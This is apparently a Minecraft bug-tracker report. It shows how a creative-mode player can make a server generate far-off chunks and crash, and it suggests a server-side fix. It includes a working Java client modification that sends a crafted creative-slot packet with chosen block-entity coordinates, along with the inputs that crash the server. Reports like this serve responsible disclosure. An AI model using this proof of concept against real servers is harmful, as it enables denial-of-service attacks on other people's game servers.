Creative player can generate arbitrary chunk in the server and crash the server
Similar to MC-246244, but not the same.
For this bug to work, the player would need the creative mode (op is not necessary, the creative mode is sufficient to reproduce the issue).
Using the following code in net/minecraft/client/player/LocalPlayer:
try { String[] split = s.split(","); ItemStack item = new ItemStack(Items.STONE); CompoundTag blockEntityTag = new CompoundTag(); blockEntityTag.putInt("x", Integer.parseInt(split[0]) << 9); blockEntityTag.putInt("y", 0); blockEntityTag.putInt("z", Integer.parseInt(split[1]) << 9); CompoundTag tag = new CompoundTag(); tag.put("BlockEntityTag", blockEntityTag); item.setTag(tag); connection.send(new ServerboundSetCreativeModeSlotPacket(getInventory().selected + 36, item)); return; } catch (Exception ignored) {}
and typing "5000,5000" in the chat (without quotes) requests a block entity at 2560000, 0, 2560000 (XYZ) and this causes the server to generate the chunk (r.5000.5000.mca and a few regions around it are created in the server).
When large numbers like "1000000,1000000" are sent to the chat, the server crashes after a while (see attachments, I've added a few comments to latest.log).
In handleSetCreativeModeSlot, adding a maximum range between player and block entity, or checking if the chunk exists (and maybe loaded) should mitigate the issue significantly.
2022-06-03, 05:07 AM
2022-06-21, 07:13 AM
2022-06-09, 08:47 AM
0
0